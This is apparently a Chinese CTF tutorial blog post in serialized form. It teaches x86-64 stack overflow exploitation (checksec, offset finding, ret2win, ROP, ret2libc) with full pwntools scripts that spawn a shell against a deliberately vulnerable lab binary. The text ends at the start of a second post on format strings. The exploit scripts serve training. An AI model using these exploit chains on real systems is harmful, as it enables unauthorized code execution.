ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":7,"value":8434,"toc":9505},[8435,8439,8454,8457,8459,8507,8509,8513,8593,8596,8615,8619,8624,8629,8641,8643,8648,8651,8706,8708,8713,8719,8722,8725,8735,8789,8791,8797,8811,8815,8820,8881,8883,8893,8895,8901,8919,8923,8929,8932,8959,8961,8967,8980,8986,8990,8997,9002,9011,9015,9021,9025,9301,9304,9310,9314,9361,9365,9426,9430,9441,9482,9484,9489,9493,9502],[10,8436,8438],{"id":8437},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[15,8440,8441,1311,8443,1311,8446,8449,8450,8453],{},[52,8442,2408],{},[52,8444,8445],{},"strcpy",[52,8447,8448],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[52,8451,8452],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[15,8455,8456],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[10,8458,256],{"id":255},[97,8460,8462],{"className":259,"code":8461,"language":261,"meta":102,"style":102},"apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n",[52,8463,8464,8474,8486],{"__ignoreMap":102},[106,8465,8466,8468,8470,8472],{"class":108,"line":109},[106,8467,1158],{"class":268},[106,8469,273],{"class":272},[106,8471,2433],{"class":272},[106,8473,2436],{"class":272},[106,8475,8476,8478,8480,8483],{"class":108,"line":115},[106,8477,269],{"class":268},[106,8479,273],{"class":272},[106,8481,8482],{"class":272}," pwntools",[106,8484,8485],{"class":272}," ROPgadget\n",[106,8487,8488,8490,8492,8495,8497,8499,8502,8504],{"class":108,"line":121},[106,8489,5087],{"class":268},[106,8491,5090],{"class":272},[106,8493,8494],{"class":272}," https://github.com/pwndbg/pwndbg",[106,8496,1814],{"class":1123},[106,8498,1804],{"class":1803},[106,8500,8501],{"class":272}," pwndbg",[106,8503,1814],{"class":1123},[106,8505,8506],{"class":268},"./setup.sh\n",[10,8508,2449],{"id":2448},[15,8510,8511,493],{},[52,8512,2455],{},[97,8514,8515],{"className":1847,"code":2458,"language":1849,"meta":102,"style":102},[52,8516,8517,8521,8525,8529,8533,8537,8541,8545,8549,8553,8557,8561,8565,8569,8573,8577,8581,8585,8589],{"__ignoreMap":102},[106,8518,8519],{"class":108,"line":109},[106,8520,2465],{},[106,8522,8523],{"class":108,"line":115},[106,8524,2470],{},[106,8526,8527],{"class":108,"line":121},[106,8528,125],{"emptyLinePlaceholder":124},[106,8530,8531],{"class":108,"line":128},[106,8532,2479],{},[106,8534,8535],{"class":108,"line":134},[106,8536,2484],{},[106,8538,8539],{"class":108,"line":140},[106,8540,2489],{},[106,8542,8543],{"class":108,"line":146},[106,8544,125],{"emptyLinePlaceholder":124},[106,8546,8547],{"class":108,"line":151},[106,8548,2498],{},[106,8550,8551],{"class":108,"line":157},[106,8552,2503],{},[106,8554,8555],{"class":108,"line":163},[106,8556,2508],{},[106,8558,8559],{"class":108,"line":169},[106,8560,2489],{},[106,8562,8563],{"class":108,"line":174},[106,8564,125],{"emptyLinePlaceholder":124},[106,8566,8567],{"class":108,"line":180},[106,8568,2521],{},[106,8570,8571],{"class":108,"line":186},[106,8572,2526],{},[106,8574,8575],{"class":108,"line":192},[106,8576,2531],{},[106,8578,8579],{"class":108,"line":197},[106,8580,2536],{},[106,8582,8583],{"class":108,"line":203},[106,8584,2541],{},[106,8586,8587],{"class":108,"line":770},[106,8588,2546],{},[106,8590,8591],{"class":108,"line":775},[106,8592,2489],{},[15,8594,8595],{},"编译：",[97,8597,8599],{"className":259,"code":8598,"language":261,"meta":102,"style":102},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[52,8600,8601],{"__ignoreMap":102},[106,8602,8603,8605,8607,8609,8611,8613],{"class":108,"line":109},[106,8604,2563],{"class":268},[106,8606,2566],{"class":515},[106,8608,2569],{"class":272},[106,8610,2572],{"class":272},[106,8612,2575],{"class":515},[106,8614,2578],{"class":515},[10,8616,8618],{"id":8617},"四核心步骤-1checksec","四、核心步骤 1：checksec",[15,8620,8621,8623],{},[316,8622,318],{},"：开打前判断这条路能否走通，避免构造无效 payload。",[15,8625,8626,8628],{},[316,8627,385],{},"：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[97,8630,8631],{"className":259,"code":2608,"language":261,"meta":102,"style":102},[52,8632,8633],{"__ignoreMap":102},[106,8634,8635,8637,8639],{"class":108,"line":109},[106,8636,2615],{"class":268},[106,8638,2618],{"class":272},[106,8640,2621],{"class":272},[15,8642,1219],{},[97,8644,8646],{"className":8645,"code":2627,"language":215,"meta":102},[213],[52,8647,2627],{"__ignoreMap":102},[15,8649,8650],{},"逐行含义：",[19,8652,8653,8661],{},[22,8654,8655],{},[25,8656,8657,8659],{},[28,8658,6273],{},[28,8660,1540],{},[38,8662,8663,8673,8683,8696],{},[25,8664,8665,8670],{},[43,8666,8667],{},[52,8668,8669],{},"No canary found",[43,8671,8672],{},"无栈金丝雀，可覆盖返回地址",[25,8674,8675,8680],{},[43,8676,8677],{},[52,8678,8679],{},"NX enabled",[43,8681,8682],{},"栈不可执行，不能直接放 shellcode",[25,8684,8685,8690],{},[43,8686,8687],{},[52,8688,8689],{},"No PIE",[43,8691,8692,8693,8695],{},"程序地址固定，",[52,8694,2689],{}," 地址可直接写死",[25,8697,8698,8703],{},[43,8699,8700],{},[52,8701,8702],{},"Partial RELRO",[43,8704,8705],{},"GOT 可写（本阶段用不到）",[10,8707,2694],{"id":2693},[15,8709,8710,8712],{},[52,8711,2699],{}," 栈帧自低到高：",[97,8714,8717],{"className":8715,"code":8716,"language":215,"meta":102},[213],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[52,8718,8716],{"__ignoreMap":102},[15,8720,8721],{},"偏移 = 32 + 8 = 40。",[15,8723,8724],{},"用 pwntools 验证：",[15,8726,8727,493,8729,8731,8732,8734],{},[316,8728,385],{},[52,8730,2712],{}," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[52,8733,3070],{}," 反查位置，即\"从输入开头到返回地址的距离\"。",[97,8736,8738],{"className":99,"code":8737,"language":101,"meta":102,"style":102},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n",[52,8739,8740,8744,8748,8752,8756,8761,8765,8770,8774,8779,8784],{"__ignoreMap":102},[106,8741,8742],{"class":108,"line":109},[106,8743,2723],{},[106,8745,8746],{"class":108,"line":115},[106,8747,125],{"emptyLinePlaceholder":124},[106,8749,8750],{"class":108,"line":121},[106,8751,2732],{},[106,8753,8754],{"class":108,"line":128},[106,8755,2737],{},[106,8757,8758],{"class":108,"line":134},[106,8759,8760],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[106,8762,8763],{"class":108,"line":140},[106,8764,2752],{},[106,8766,8767],{"class":108,"line":146},[106,8768,8769],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[106,8771,8772],{"class":108,"line":151},[106,8773,2762],{},[106,8775,8776],{"class":108,"line":157},[106,8777,8778],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[106,8780,8781],{"class":108,"line":163},[106,8782,8783],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[106,8785,8786],{"class":108,"line":169},[106,8787,8788],{},"print(\"offset =\", offset)\n",[15,8790,1219],{},[97,8792,8795],{"className":8793,"code":8794,"language":215,"meta":102},[213],"offset = 40\n",[52,8796,8794],{"__ignoreMap":102},[15,8798,8799,8800,8803,8804,8807,8808,8810],{},"原理：",[52,8801,8802],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[52,8805,8806],{},"rip"," 的值必然是模式串中的 4/8 字节，",[52,8809,3070],{}," 返回它在模式串中的位置，即到返回地址的距离。",[10,8812,8814],{"id":8813},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[15,8816,8817,8819],{},[316,8818,318],{},"：把返回地址改成 win，验证控制流劫持成功。",[97,8821,8823],{"className":99,"code":8822,"language":101,"meta":102,"style":102},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[52,8824,8825,8829,8833,8837,8841,8845,8849,8854,8858,8863,8868,8872,8876],{"__ignoreMap":102},[106,8826,8827],{"class":108,"line":109},[106,8828,2723],{},[106,8830,8831],{"class":108,"line":115},[106,8832,125],{"emptyLinePlaceholder":124},[106,8834,8835],{"class":108,"line":121},[106,8836,2813],{},[106,8838,8839],{"class":108,"line":128},[106,8840,2732],{},[106,8842,8843],{"class":108,"line":134},[106,8844,125],{"emptyLinePlaceholder":124},[106,8846,8847],{"class":108,"line":140},[106,8848,2975],{},[106,8850,8851],{"class":108,"line":146},[106,8852,8853],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[106,8855,8856],{"class":108,"line":151},[106,8857,2990],{},[106,8859,8860],{"class":108,"line":157},[106,8861,8862],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[106,8864,8865],{"class":108,"line":163},[106,8866,8867],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[106,8869,8870],{"class":108,"line":169},[106,8871,2916],{},[106,8873,8874],{"class":108,"line":174},[106,8875,3004],{},[106,8877,8878],{"class":108,"line":180},[106,8879,8880],{},"# interactive()：把终端接到进程，shell 可交互。\n",[15,8882,6238],{},[97,8884,8885],{"className":259,"code":3131,"language":261,"meta":102,"style":102},[52,8886,8887],{"__ignoreMap":102},[106,8888,8889,8891],{"class":108,"line":109},[106,8890,3138],{"class":268},[106,8892,3141],{"class":272},[15,8894,3017],{},[97,8896,8899],{"className":8897,"code":8898,"language":215,"meta":102},[213],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[52,8900,8898],{"__ignoreMap":102},[15,8902,8903,8904,8906,8907,55,8909,2012,8911,8913,8914,55,8916,8918],{},"执行过程：",[52,8905,2408],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[52,8908,2689],{},[52,8910,2699],{},[52,8912,8452],{}," 跳到 ",[52,8915,2689],{},[52,8917,3033],{}," 弹 shell。",[10,8920,8922],{"id":8921},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[15,8924,8925,8926,8928],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[52,8927,8452],{}," 结尾的指令片段（gadget）串起来执行。",[15,8930,8931],{},"找 gadget：",[97,8933,8935],{"className":259,"code":8934,"language":261,"meta":102,"style":102},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[52,8936,8937],{"__ignoreMap":102},[106,8938,8939,8942,8945,8948,8950,8952,8954,8957],{"class":108,"line":109},[106,8940,8941],{"class":268},"ROPgadget",[106,8943,8944],{"class":515}," --binary",[106,8946,8947],{"class":272}," ./vuln",[106,8949,1446],{"class":1116},[106,8951,1449],{"class":268},[106,8953,5263],{"class":1458},[106,8955,8956],{"class":272},"pop rdi",[106,8958,5269],{"class":1458},[15,8960,1219],{},[97,8962,8965],{"className":8963,"code":8964,"language":215,"meta":102},[213],"0x0000000000401233 : pop rdi ; ret\n",[52,8966,8964],{"__ignoreMap":102},[15,8968,8969,8972,8973,8976,8977,8979],{},[52,8970,8971],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[52,8974,8975],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[52,8978,8452],{}," 跳到下个地址。栈上布局：",[97,8981,8984],{"className":8982,"code":8983,"language":215,"meta":102},[213],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[52,8985,8983],{"__ignoreMap":102},[10,8987,8989],{"id":8988},"八进阶ret2libc","八、进阶：ret2libc",[15,8991,8992,8994,8995,643],{},[316,8993,318],{},"：程序内没有目标函数时，改调 libc 的 ",[52,8996,3033],{},[15,8998,8999,9001],{},[316,9000,385],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[15,9003,9004,9005,9007,9008,9010],{},"程序里没有 ",[52,9006,2689],{}," 时，改调 libc 里的 ",[52,9009,3033],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[309,9012,9014],{"id":9013},"_81-原理","8.1 原理",[97,9016,9019],{"className":9017,"code":9018,"language":215,"meta":102},[213],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[52,9020,9018],{"__ignoreMap":102},[309,9022,9024],{"id":9023},"_82-完整脚本","8.2 完整脚本",[97,9026,9028],{"className":99,"code":9027,"language":101,"meta":102,"style":102},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[52,9029,9030,9034,9038,9043,9048,9052,9056,9061,9066,9070,9074,9078,9083,9088,9092,9097,9102,9107,9112,9117,9122,9127,9132,9137,9142,9147,9151,9155,9160,9164,9169,9174,9179,9184,9189,9193,9198,9203,9208,9214,9220,9225,9231,9237,9243,9249,9255,9261,9267,9273,9279,9284,9290,9296],{"__ignoreMap":102},[106,9031,9032],{"class":108,"line":109},[106,9033,2723],{},[106,9035,9036],{"class":108,"line":115},[106,9037,125],{"emptyLinePlaceholder":124},[106,9039,9040],{"class":108,"line":121},[106,9041,9042],{},"context.log_level = 'error'\n",[106,9044,9045],{"class":108,"line":128},[106,9046,9047],{},"# 只显示错误，减少调试信息刷屏。\n",[106,9049,9050],{"class":108,"line":134},[106,9051,125],{"emptyLinePlaceholder":124},[106,9053,9054],{"class":108,"line":140},[106,9055,2813],{},[106,9057,9058],{"class":108,"line":146},[106,9059,9060],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[106,9062,9063],{"class":108,"line":151},[106,9064,9065],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[106,9067,9068],{"class":108,"line":157},[106,9069,2732],{},[106,9071,9072],{"class":108,"line":163},[106,9073,125],{"emptyLinePlaceholder":124},[106,9075,9076],{"class":108,"line":169},[106,9077,8794],{},[106,9079,9080],{"class":108,"line":174},[106,9081,9082],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[106,9084,9085],{"class":108,"line":180},[106,9086,9087],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[106,9089,9090],{"class":108,"line":186},[106,9091,125],{"emptyLinePlaceholder":124},[106,9093,9094],{"class":108,"line":192},[106,9095,9096],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[106,9098,9099],{"class":108,"line":197},[106,9100,9101],{},"payload1 = b'A' * offset\n",[106,9103,9104],{"class":108,"line":203},[106,9105,9106],{},"payload1 += p64(ret)\n",[106,9108,9109],{"class":108,"line":770},[106,9110,9111],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[106,9113,9114],{"class":108,"line":775},[106,9115,9116],{},"payload1 += p64(pop_rdi)\n",[106,9118,9119],{"class":108,"line":781},[106,9120,9121],{},"payload1 += p64(elf.got['puts'])\n",[106,9123,9124],{"class":108,"line":787},[106,9125,9126],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[106,9128,9129],{"class":108,"line":793},[106,9130,9131],{},"payload1 += p64(elf.plt['puts'])\n",[106,9133,9134],{"class":108,"line":799},[106,9135,9136],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[106,9138,9139],{"class":108,"line":805},[106,9140,9141],{},"payload1 += p64(elf.symbols['main'])\n",[106,9143,9144],{"class":108,"line":4548},[106,9145,9146],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[106,9148,9149],{"class":108,"line":4553},[106,9150,125],{"emptyLinePlaceholder":124},[106,9152,9153],{"class":108,"line":4559},[106,9154,2975],{},[106,9156,9157],{"class":108,"line":4565},[106,9158,9159],{},"p.sendline(payload1)\n",[106,9161,9162],{"class":108,"line":4570},[106,9163,125],{"emptyLinePlaceholder":124},[106,9165,9166],{"class":108,"line":4576},[106,9167,9168],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[106,9170,9171],{"class":108,"line":4582},[106,9172,9173],{},"# recvline()：读一行（puts 输出后带换行）。\n",[106,9175,9176],{"class":108,"line":4588},[106,9177,9178],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[106,9180,9181],{"class":108,"line":4594},[106,9182,9183],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[106,9185,9186],{"class":108,"line":4599},[106,9187,9188],{},"print(\"puts:\", hex(leak))\n",[106,9190,9191],{"class":108,"line":4605},[106,9192,125],{"emptyLinePlaceholder":124},[106,9194,9195],{"class":108,"line":4611},[106,9196,9197],{},"libc.address = leak - libc.symbols['puts']\n",[106,9199,9200],{"class":108,"line":4617},[106,9201,9202],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[106,9204,9205],{"class":108,"line":4623},[106,9206,9207],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[106,9209,9211],{"class":108,"line":9210},39,[106,9212,9213],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[106,9215,9217],{"class":108,"line":9216},40,[106,9218,9219],{},"print(\"libc base:\", hex(libc.address))\n",[106,9221,9223],{"class":108,"line":9222},41,[106,9224,125],{"emptyLinePlaceholder":124},[106,9226,9228],{"class":108,"line":9227},42,[106,9229,9230],{},"# 第二阶段：system(\"/bin/sh\")\n",[106,9232,9234],{"class":108,"line":9233},43,[106,9235,9236],{},"payload2 = b'A' * offset\n",[106,9238,9240],{"class":108,"line":9239},44,[106,9241,9242],{},"payload2 += p64(ret)\n",[106,9244,9246],{"class":108,"line":9245},45,[106,9247,9248],{},"payload2 += p64(pop_rdi)\n",[106,9250,9252],{"class":108,"line":9251},46,[106,9253,9254],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[106,9256,9258],{"class":108,"line":9257},47,[106,9259,9260],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[106,9262,9264],{"class":108,"line":9263},48,[106,9265,9266],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[106,9268,9270],{"class":108,"line":9269},49,[106,9271,9272],{},"payload2 += p64(libc.symbols['system'])\n",[106,9274,9276],{"class":108,"line":9275},50,[106,9277,9278],{},"# 调用 system(\"/bin/sh\")。\n",[106,9280,9282],{"class":108,"line":9281},51,[106,9283,125],{"emptyLinePlaceholder":124},[106,9285,9287],{"class":108,"line":9286},52,[106,9288,9289],{},"p.sendlineafter(b'name?', payload2)\n",[106,9291,9293],{"class":108,"line":9292},53,[106,9294,9295],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[106,9297,9299],{"class":108,"line":9298},54,[106,9300,3004],{},[15,9302,9303],{},"运行输出：",[97,9305,9308],{"className":9306,"code":9307,"language":215,"meta":102},[213],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[52,9309,9307],{"__ignoreMap":102},[309,9311,9313],{"id":9312},"_83-三个易错点","8.3 三个易错点",[631,9315,9316,9336,9351],{},[634,9317,9318,493,9321,9324,9325,9328,9329,9332,9333,643],{},[316,9319,9320],{},"补零",[52,9322,9323],{},"puts"," 输出的地址以换行结尾，",[52,9326,9327],{},"strip()"," 去掉换行，",[52,9330,9331],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[52,9334,9335],{},"u64",[634,9337,9338,493,9341,9344,9345,9348,9349,643],{},[316,9339,9340],{},"对齐",[52,9342,9343],{},"system"," 内部使用 ",[52,9346,9347],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[52,9350,8452],{},[634,9352,9353,9356,9357,9360],{},[316,9354,9355],{},"libc 版本","：远程题目若提供 libc，用 ",[52,9358,9359],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[10,9362,9364],{"id":9363},"九必学工具","九、必学工具",[19,9366,9367,9377],{},[22,9368,9369],{},[25,9370,9371,9373,9375],{},[28,9372,2075],{},[28,9374,3049],{},[28,9376,3052],{},[38,9378,9379,9397,9409],{},[25,9380,9381,9383,9395],{},[43,9382,3059],{},[43,9384,9385,1311,9387,2153,9389,1311,9391,3074,9393],{},[52,9386,3064],{},[52,9388,2712],{},[52,9390,3070],{},[52,9392,2926],{},[52,9394,3077],{},[43,9396,3081],{},[25,9398,9399,9401,9404],{},[43,9400,8941],{},[43,9402,9403],{},"搜索 gadget、指定寄存器、输出地址",[43,9405,9406],{},[52,9407,9408],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[25,9410,9411,9414,9417],{},[43,9412,9413],{},"GDB（pwndbg）",[43,9415,9416],{},"断点、看栈、查看崩溃点",[43,9418,9419,1311,9421,1311,9423],{},[52,9420,3107],{},[52,9422,3110],{},[52,9424,9425],{},"bt",[10,9427,9429],{"id":9428},"十小-ctf-实战","十、小 CTF 实战",[15,9431,2164,9432,9434,9435,9437,9438,9440],{},[52,9433,3122],{}," 运行 ",[52,9436,2699],{},"（No canary、No PIE，有 ",[52,9439,2689],{},"）。",[97,9442,9444],{"className":99,"code":9443,"language":101,"meta":102,"style":102},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[52,9445,9446,9450,9454,9458,9462,9466,9470,9474,9478],{"__ignoreMap":102},[106,9447,9448],{"class":108,"line":109},[106,9449,2723],{},[106,9451,9452],{"class":108,"line":115},[106,9453,125],{"emptyLinePlaceholder":124},[106,9455,9456],{"class":108,"line":121},[106,9457,2813],{},[106,9459,9460],{"class":108,"line":128},[106,9461,2866],{},[106,9463,9464],{"class":108,"line":134},[106,9465,125],{"emptyLinePlaceholder":124},[106,9467,9468],{"class":108,"line":140},[106,9469,2990],{},[106,9471,9472],{"class":108,"line":146},[106,9473,2916],{},[106,9475,9476],{"class":108,"line":151},[106,9477,3210],{},[106,9479,9480],{"class":108,"line":157},[106,9481,3004],{},[15,9483,1219],{},[97,9485,9487],{"className":9486,"code":3225,"language":215,"meta":102},[213],[52,9488,3225],{"__ignoreMap":102},[10,9490,9492],{"id":9491},"十一小结","十一、小结",[15,9494,9495,9496,9498,9499,9501],{},"栈溢出主线：",[52,9497,3086],{}," 判断防护 → ",[52,9500,2712],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[1050,9503,9504],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":102,"searchDepth":115,"depth":115,"links":9506},[9507,9508,9509,9510,9511,9512,9513,9514,9515,9516,9517],{"id":8437,"depth":121,"text":8438},{"id":255,"depth":121,"text":256},{"id":2448,"depth":121,"text":2449},{"id":8617,"depth":121,"text":8618},{"id":2693,"depth":121,"text":2694},{"id":8813,"depth":121,"text":8814},{"id":8921,"depth":121,"text":8922},{"id":8988,"depth":121,"text":8989},{"id":9363,"depth":121,"text":9364},{"id":9428,"depth":121,"text":9429},{"id":9491,"depth":121,"text":9492},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。",{"date":1066,"image":9520,"alt":9521,"tags":9522,"published":124},"/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[1070,2615,9523,1072],"栈溢出","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":8432,"description":9518},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",{"id":9529,"title":9530,"body":9531,"description":10556,"extension":1064,"meta":10557,"navigation":124,"ogImage":1067,"path":10561,"seo":10562,"stem":10563,"__hash__":10564},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":7,"value":9532,"toc":10544},[9533,9537,9540,9555,9570,9587,9591,9596,9645,9666,9670,9675,9677,9686,9688,9694,9697,9703,9714,9722,9726,9731,9747,9750,9752,9760,9762,9768,9771,9777,9787,9854,9859,9889,9893,9898,9911,9919,9974,10027,10030,10039,10042,10046,10051,10066,10071,10077,10079,10092,10095,10138,10142,10153,10161,10167,10237,10270,10273,10352,10358,10387,10397,10399,10457,10461,10468,10477,10520,10522,10528,10530,10541],[10,9534,9536],{"id":9535},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[15,9538,9539],{},"C 程序员常写的输出代码：",[97,9541,9543],{"className":1847,"code":9542,"language":1849,"meta":102,"style":102},"printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n",[52,9544,9545,9550],{"__ignoreMap":102},[106,9546,9547],{"class":108,"line":109},[106,9548,9549],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[106,9551,9552],{"class":108,"line":115},[106,9553,9554],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[15,9556,9557,9558,9561,9562,9565,9566,9569],{},"当 ",[52,9559,9560],{},"buf"," 内容是 